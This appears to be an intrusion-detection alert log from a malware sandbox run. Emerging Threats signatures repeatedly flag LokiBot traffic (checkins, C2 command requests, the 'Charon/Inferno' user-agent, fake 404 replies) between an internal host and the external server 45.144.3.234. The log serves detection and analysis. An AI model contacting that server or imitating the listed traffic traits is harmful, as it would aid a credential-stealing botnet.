12/02/20-11:52:58.573099	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.573099	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49752	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.705685	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49752	45.144.3.234	192.168.2.6
12/02/20-11:52:58.978022	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.978022	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.978022	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.978022	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49753	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.104920	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49753	45.144.3.234	192.168.2.6
12/02/20-11:52:59.378493	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.378493	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.378493	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.378493	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49754	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.505512	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49754	45.144.3.234	192.168.2.6
12/02/20-11:52:59.770770	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.770770	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.770770	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.770770	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49755	80	192.168.2.6	45.144.3.234
12/02/20-11:52:59.952721	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49755	45.144.3.234	192.168.2.6
12/02/20-11:53:00.250977	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.250977	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.250977	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.250977	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49756	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.382495	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49756	45.144.3.234	192.168.2.6
12/02/20-11:53:00.644083	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.644083	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.644083	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.644083	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49757	80	192.168.2.6	45.144.3.234
12/02/20-11:53:00.769340	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49757	45.144.3.234	192.168.2.6
12/02/20-11:53:01.090386	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.090386	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.090386	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.090386	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49758	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.218769	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49758	45.144.3.234	192.168.2.6
12/02/20-11:53:01.537713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.537713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.537713	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.537713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49759	80	192.168.2.6	45.144.3.234
12/02/20-11:53:01.667457	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49759	45.144.3.234	192.168.2.6
12/02/20-11:53:02.003036	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.003036	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.003036	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.003036	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49760	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.131956	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49760	45.144.3.234	192.168.2.6
12/02/20-11:53:02.371231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49761	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.371231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49761	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.371231	TCP	2025381	ET TROJAN LokiBot Checkin	49761	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.371231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49761	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.505199	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49761	45.144.3.234	192.168.2.6
12/02/20-11:53:02.962532	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49762	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.962532	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49762	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.962532	TCP	2025381	ET TROJAN LokiBot Checkin	49762	80	192.168.2.6	45.144.3.234
12/02/20-11:53:02.962532	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49762	80	192.168.2.6	45.144.3.234
12/02/20-11:53:03.089902	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49762	45.144.3.234	192.168.2.6
12/02/20-11:53:03.392820	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.6	45.144.3.234
12/02/20-11:53:03.392820	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.6	45.144.3.234
12/02/20-11:53:03.392820	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.6	45.144.3.234
12/02/20-11:53:03.392820	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49763	80	192.168.2.6	45.144.3.234
12/02/20-11:53:03.522391	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49763	45.144.3.234	192.168.2.6
12/02/20-11:53:04.207113	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.6	45.144.3.234
12/02/20-11:53:04.207113	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.6	45.144.3.234
12/02/20-11:53:04.207113	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.6	45.144.3.234
12/02/20-11:53:04.207113	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49764	80	192.168.2.6	45.144.3.234
12/02/20-11:53:04.333814	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49764	45.144.3.234	192.168.2.6
12/02/20-11:53:05.339664	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.339664	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.339664	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.339664	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49765	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.464609	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49765	45.144.3.234	192.168.2.6
12/02/20-11:53:05.740205	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.740205	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.740205	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.740205	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49766	80	192.168.2.6	45.144.3.234
12/02/20-11:53:05.865657	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49766	45.144.3.234	192.168.2.6
12/02/20-11:53:06.108569	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.108569	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.108569	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.108569	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49767	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.249782	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49767	45.144.3.234	192.168.2.6
12/02/20-11:53:06.554063	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.554063	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.554063	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.554063	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49768	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.678923	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49768	45.144.3.234	192.168.2.6
12/02/20-11:53:06.984148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.984148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.984148	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.6	45.144.3.234
12/02/20-11:53:06.984148	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49769	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.107874	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49769	45.144.3.234	192.168.2.6
12/02/20-11:53:07.369521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.369521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.369521	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.369521	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49770	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.495951	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49770	45.144.3.234	192.168.2.6
12/02/20-11:53:07.847165	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.847165	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.847165	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.847165	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49771	80	192.168.2.6	45.144.3.234
12/02/20-11:53:07.981039	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49771	45.144.3.234	192.168.2.6
12/02/20-11:53:10.181925	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.181925	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.181925	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.181925	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49772	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.313579	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49772	45.144.3.234	192.168.2.6
12/02/20-11:53:10.569444	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.569444	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.569444	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.569444	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49773	80	192.168.2.6	45.144.3.234
12/02/20-11:53:10.708133	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49773	45.144.3.234	192.168.2.6
12/02/20-11:53:11.023775	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.023775	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.023775	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.023775	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49774	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.152570	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49774	45.144.3.234	192.168.2.6
12/02/20-11:53:11.449891	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.449891	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.449891	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.449891	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49775	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.577105	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49775	45.144.3.234	192.168.2.6
12/02/20-11:53:11.948579	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.948579	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.948579	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.6	45.144.3.234
12/02/20-11:53:11.948579	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49776	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.076914	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49776	45.144.3.234	192.168.2.6
12/02/20-11:53:12.388055	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.388055	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.388055	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.388055	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49778	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.513310	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49778	45.144.3.234	192.168.2.6
12/02/20-11:53:12.790593	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.790593	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.790593	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.790593	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49779	80	192.168.2.6	45.144.3.234
12/02/20-11:53:12.934709	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49779	45.144.3.234	192.168.2.6
12/02/20-11:53:13.252513	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.252513	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.252513	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.252513	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49781	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.381217	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49781	45.144.3.234	192.168.2.6
12/02/20-11:53:13.692641	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.692641	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.692641	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.692641	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49783	80	192.168.2.6	45.144.3.234
12/02/20-11:53:13.819814	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49783	45.144.3.234	192.168.2.6
12/02/20-11:53:14.113855	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.113855	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.113855	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.113855	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49787	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.244583	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49787	45.144.3.234	192.168.2.6
12/02/20-11:53:14.503418	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.503418	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.503418	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.503418	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49789	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.657266	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49789	45.144.3.234	192.168.2.6
12/02/20-11:53:14.917886	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.917886	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.917886	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.6	45.144.3.234
12/02/20-11:53:14.917886	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49791	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.077527	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49791	45.144.3.234	192.168.2.6
12/02/20-11:53:15.377622	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.377622	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.377622	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.377622	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49793	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.504592	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49793	45.144.3.234	192.168.2.6
12/02/20-11:53:15.761208	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.761208	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.761208	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.761208	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.6	45.144.3.234
12/02/20-11:53:15.888013	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49795	45.144.3.234	192.168.2.6
12/02/20-11:53:16.124828	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.124828	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.124828	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.124828	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49797	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.253380	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49797	45.144.3.234	192.168.2.6
12/02/20-11:53:16.497788	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.497788	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.497788	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.497788	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49799	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.625171	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49799	45.144.3.234	192.168.2.6
12/02/20-11:53:16.866136	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.866136	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.866136	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.866136	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49800	80	192.168.2.6	45.144.3.234
12/02/20-11:53:16.992594	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49800	45.144.3.234	192.168.2.6
12/02/20-11:53:17.243862	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.243862	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.243862	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.243862	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49802	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.372366	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49802	45.144.3.234	192.168.2.6
12/02/20-11:53:17.613940	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49804	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.613940	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49804	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.613940	TCP	2025381	ET TROJAN LokiBot Checkin	49804	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.613940	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49804	80	192.168.2.6	45.144.3.234
12/02/20-11:53:17.740863	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49804	45.144.3.234	192.168.2.6
12/02/20-11:53:18.048964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.048964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.048964	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.048964	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49805	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.175754	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49805	45.144.3.234	192.168.2.6
12/02/20-11:53:18.420410	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.420410	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.420410	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.420410	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49806	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.551269	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49806	45.144.3.234	192.168.2.6
12/02/20-11:53:18.793375	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.793375	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.793375	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.793375	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49807	80	192.168.2.6	45.144.3.234
12/02/20-11:53:18.923599	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49807	45.144.3.234	192.168.2.6
12/02/20-11:53:19.339300	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.339300	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.339300	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.339300	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49809	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.473930	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49809	45.144.3.234	192.168.2.6
12/02/20-11:53:19.713181	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.713181	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.713181	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.713181	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49810	80	192.168.2.6	45.144.3.234
12/02/20-11:53:19.844413	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49810	45.144.3.234	192.168.2.6
12/02/20-11:53:20.223713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.6	45.144.3.234
12/02/20-11:53:20.223713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.6	45.144.3.234
